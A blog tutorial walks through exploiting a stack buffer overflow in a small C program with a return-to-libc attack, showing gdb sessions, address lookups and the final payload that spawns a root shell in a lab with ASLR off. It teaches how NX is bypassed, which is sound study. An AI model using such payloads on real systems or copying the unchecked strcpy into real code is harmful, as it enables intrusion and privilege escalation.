If there's already a payload! Can I borrow it?

6 minute read Published:

If there's already a payload! Can I borrow it?

Blog Post by Aladdin Mubaied

Back in the old days, nothing is exciting as finding a stack-based buffer overflow, simply because you can exploit it by throwing your shellcode directly on the stack and return to it. However, modern memory protections such as NX/DEP prevent us from executing our shellcode in the memory - you can write your shellcode, but you can’t return to it. The reason for that is because that region of the stack is marked as non-executable. To give you a sense of that, if you’re on Linux, simply run the following command:

$ sudo cat /proc/self/maps | grep -F '[stack]'

7fff604f3000-7fff60508000 rw-p 00000000 00:00 0                          [stack]  

As you can see, our stack is marked as read-write but not execute. Although, this prevention technique helps mitigate the traditional buffer overflow attacks, it brought a new model of exploitation known as “Return-to-libc”.

Returning into libc

In 1997, Return-to-libc was a breakthrough in the exploit development research. It created a whole new window of what we call a “code reuse” attack. After the NX bit, attackers struggled to execute their shellcode directly in the memory, Return-to-libc suggested that instead of writing our shellcode, we can use subroutines that are already present in the process’ executable memory such as system, execve, execl and others. But how really this technique works?

The Vulnerable Program

Let’s walk through an example to better understand the concept. Below is a few lines of code written in C. can you spot the overflow?

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv){

char little_array[256];

   if(argc < 2){
        printf("Usage: %s <name>\n", argv[0]);
        exit(0);
   }
   strcpy(little_array,argv[1]);
   return 0;
}

Yes! As you can see, the second parameter to strcpy is an attacker controlled argument. And since there is no check on the size limit, attackers can simply overflow the memory if they passed data exceeds the buffer limit of [256]. Easy right? Let’s continue.

Let’s compile the code in 32-bit x86 and run it in gdb. but before we start exploiting the binary, let’s first confirm that our stack is marked as non-executable.

(gdb) checksec 
NX : ENABLED  

Indeed, NX bit is enabled. So traditional stack overwrite won’t work in that case, thus we should use a different technique to execute our shellcode. Let’s run gdb and setup a breakpoint before and after strcpy and run the program with an input larger than 256 bytes.

(gdb) r `python -c "print 'A'*300"`

As you can see we hit the first breakpoint:

Breakpoint 1, main (argc=2, argv=0xffffd604) at vuln.c:13  
13       strcpy(little_array,argv[1]);  

As you may know, ESP always points to the top of the stack, let’s examine that part of the memory

As you can see, everything looks normal. Now let’s hit continue and see what is going to change in the memory!

(gdb) c
Continuing.

Breakpoint 2, main (argc=1094795585, argv=0x41414141) at vuln.c:14  
14   return 0;  

Now we hit the second breakpoint after strcpy. Let’s examine the memory:

As expected, we are writing our data into the stack. 0x41 represents A’s in hex. Next, let’s hit continue and see what’s going to change!

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.  
0x41414141 in ?? ()  

Hmm we are hitting 0x41414141 . what does that mean? Well, let me explain. If you know how memory layout looks like you will notice that the stack grows downward into a lower memory address. And as you may know, EBP (base pointer) points to the current frame and EIP is pointing to the next instruction to be executed.

When we called strcpy with our large payload - Since the stack grows downward - it will start overwriting addresses in the current stack frame with the hex value of 0x41 including the return address. And since the return address was pushed on the stack got replaced with our payload as well, the next EIP to be executed is when the function returns the address of 0x41414141 which the program could not interpret as a valid memory address, and resulted in a “Segmentation fault” type error.

Now what we can simply do is instead of letting our payload string overwrite the return address. We can inject a valid return address and point it back to a valid shellcode we control. But due to NX bit, this technique does not work anymore and so we need to defeat it using Ret-to-Libc technique .

Exploitation!

Since NX/DEP prevents us from executing our shellcode in the memory, we can use existing subroutines in the current process shared libraries. To accomplish that, we need a valid address of system() and address of “/bin/sh” string in libc so we can build our fake frame on the stack.

To find out those addresses we can start gdb attaching to our vulnerable binary.

(gdb) print &system
$1 = (<text variable, no debug info> *) 0xf7e55280 <system>

We found the address of system in little-endian

\x80\x52\xe5\xf7

Also we found the address of “/bin/sh” to be

 0xf7f8b775 
and little-endian as
\x75\xb7\xf8\xf7{

The next step is to calculate the string padding before we replace the value in the stack of our system. Since our buffer takes 256 bytes. Leaving 8 bytes buffer for the two addresses above. And because our stack segfaulted at 264 bytes, we can replace the last 4 bytes with a dummy return address and leave the rest for our return to Libc magic . please keep in mind that those addresses don’t change simply because of two reasons, we have our ASLR value set to zero and the binary is not compiled with -fpie .

Ok. lets carry on, now our final payload will look something like this, running it:

run `python -c "print 'A'*260   +'\x80\x52\xe5\xf7'+ 'A'*4    +'\x75\xb7\xf8\xf7'"`  
process 9681 is executing new program: /bin/bash  
sh-4.2$ id  
uid=0(root) gid=0(root) groups=0(root) 

BOOM! And as expected, we successfully got a shell. Looking at the stack before our payload kicks in below reveals the addresses we used to execute system with /bin/bash .

(gdb) x/280bx $esp

Non-executable stack protection can be easily bypassed by returning into libc. However, the current attack doesn’t really work in modern systems due to other memory protections such as stack canaries and ASLR which the later randomizes the stack memory layout. Also a couple of years after return-to-libc techinque, return oriented programming was introduced to advance the code reuse attack and chain more advanced payload that can carry out a different code execution. I’m going to cover this technique in details in my future blog posts.

Conclusion

Since smashing the stack technique, NX/DEP was introduced to make it impossible for attackers to exploit stack overflow bugs in the manner described above. However, security researchers worked really hard to come up with the idea of return-to-libc to bypass the non-executable stack and achieve code execution. Recent mitigation includes ASLR makes it really hard to exploit buffer overflow using return-to-libc but not entirely impossible!!